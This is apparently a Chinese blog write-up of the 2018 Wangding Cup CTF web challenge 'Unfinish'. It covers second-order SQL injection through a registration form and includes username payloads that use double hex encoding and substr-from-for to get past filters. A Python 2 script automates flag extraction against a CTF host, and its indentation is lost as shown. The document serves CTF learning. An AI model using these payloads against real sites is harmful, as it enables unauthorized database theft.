HacKerQWQ的博客空间

二次注入在实战的运用

Word count: 576Reading time: 2 min
2020/08/19 Share

网鼎杯-2018-Web-Unfinish

首先可以看到这是一个登陆框,感觉不太可能是这么简单的SQL注入,所以先扫扫目录再说

发现register.php页面用于注册账号,目测应该是一个二次注入的页面,也就是在注册页面构造好注入的语句然后在登录的时候返回信息

测试

Mysql环境

1
select hex('test');

返回74657374

1
select '0'+hex('test');

返回 74657374(注意前面有空格)

1
select '0'+hex('test')+'0';

返回 74657374(注意前面有空格)

1
select hex('flag0');

返回666C616730

1
select '0'+hex('flag0');

返回 666(有空格)

因此可以推断出如果存在字母的话,数据就会被截断,所以我们需要用二次hex

题目测试

构造payload

1
2
3
邮箱:123456@qq.com
username:0'+(select(hex(hex(database))))+'0
password:123456


然后使用这个账号登录得到一串hex值

二次hex解码之后得到web字符串,说明使用的数据库是web,测试成功!

注意

  1. 二次hex之后的值如果过长就会自动使用科学计数法,而登录之后显示的用户名只有十位,因此我们需要十位十位地取
  2. 这题过滤了information_schema和逗号,因此试试直接从flag表中取数据,并且使用substr(data from {} for {})的形式

解题

从网上找的python2脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string
import re as r

re = requests.session()
url = 'http://159.138.137.79:63582/'

def register(email,username):
url1 = url+'register.php'
data = dict(email = email, username = username,password = '123456')
html = re.post(url1,data=data)
html.encoding = 'utf-8'
return html

def login(email):
url2 = url+'login.php'
data = dict(email = email,password = '123456')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
return html


f = ''
for j in range(0,17):

payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
email = '{}@qq.com'.format(str(j)+'14')
html = register(email,payload)

html = login(email)
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
flag = res[0][1:].strip()
f += flag
print f.decode('hex').decode('hex')
except:
print "problem"

得到flag

知识点

这道题主要考察了二次注入,逗号的绕过还有python脚本的编写能力

CATALOG
  1. 1. 网鼎杯-2018-Web-Unfinish
  2. 2. 测试
    1. 2.1. Mysql环境
    2. 2.2. 题目测试
    3. 2.3. 注意
  3. 3. 解题
  4. 4. 知识点